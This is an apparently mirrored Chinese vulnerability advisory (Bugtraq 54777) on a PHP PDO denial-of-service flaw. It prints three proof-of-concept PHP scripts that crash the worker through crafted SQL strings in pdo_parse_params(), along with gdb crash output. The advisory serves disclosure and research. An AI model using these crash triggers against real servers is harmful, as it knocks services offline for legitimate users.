Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / PHP PDO内存访问冲突拒绝服务漏洞

发布日期:2012-08-02
更新日期:2012-08-06受影响系统:
PHP PHP 5.3.x
PHP PHP 5.2.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54777PHP是一种HTML内嵌式的语言,PHP与微软的ASP颇有几分相似,都是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。PHP 5.4.3及其他版本在实现上存在远程拒绝服务漏洞,攻击者可利用此漏洞造成Web服务器崩溃,拒绝服务合法用户。<*来源:0x721427D8
  *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!0x721427D8 ()提供了如下测试方法:
<?php
try {
$db = new PDO("mysql:host=localhost;dbname=aws", "root", "");
//tokens:
// SELECT;*;from;"user";/*
//$sql = "SELECT * from "user"/*";
$stmt = $db->prepare("SELECT * from "user"".mysql_real_escape_string($_GET["query"]));
$stmt->execute();
//crash
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);
}
catch (Exception $e)
{
echo "Failed: " . $e->getMessage();
}
?>
-----
<?php
try {
$db = new PDO("mysql:host=localhost;dbname=aws", "root", "");//tokens:
// SELECT;*;from;"user";/*
$sql = ":/*";$stmt = $db->prepare($sql);
$stmt->execute();     // crashes php worker in pdo_parse_params()$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
}?>
---<pre>
<?php
echo "hmm beginning ";
try {
$db = new PDO("mysql:host=localhost;dbname=aws", "root", "");
echo "lets get it on ";
//tokens:
// SELECT;*;from;"user";/*
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :) ";
print_r($stmt);
$stmt->execute();     // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :( ";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data- ";
print_r( $type);
echo "--data-- ";} catch (Exception $e) {
        echo "EXCEPTION";
  echo "Failed: " . $e->getMessage();
}
echo "hmmm end ";
?>
</pre>Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0  0x08228a81 in ?? ()
#1  0x082280eb in pdo_parse_params ()
#2  0x08223891 in ?? ()
#3  0x084b2aad in ?? ()
#4  0x084b1f87 in execute ()
#5  0x08490ed2 in zend_execute_scripts ()
#6  0x0843f13c in php_execute_script ()
#7  0x08506b46 in main ()建议:
--------------------------------------------------------------------------------
厂商补丁:PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.php.netFreeBSD SCTP空指针引用远程拒绝服务漏洞Open vSwitch不安全目录权限漏洞(CVE-2012-3449)相关资讯      拒绝服务漏洞 
  • 数字签名拒绝服务漏洞(CVE-2013-  (11/13/2013 12:25:03)
  • Intel 82574L Gigabit Ethernet   (03/01/2013 21:09:03)
  • Wireshark DTN Dissector 拒绝服务  (02/03/2013 10:37:43)
  • Rockwell Automation FactoryTalk   (04/10/2013 09:08:12)
  • IBM WebSphere Message Broker多个  (03/01/2013 21:04:45)
  • HP XP P9000 Command View   (02/03/2013 10:36:32)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款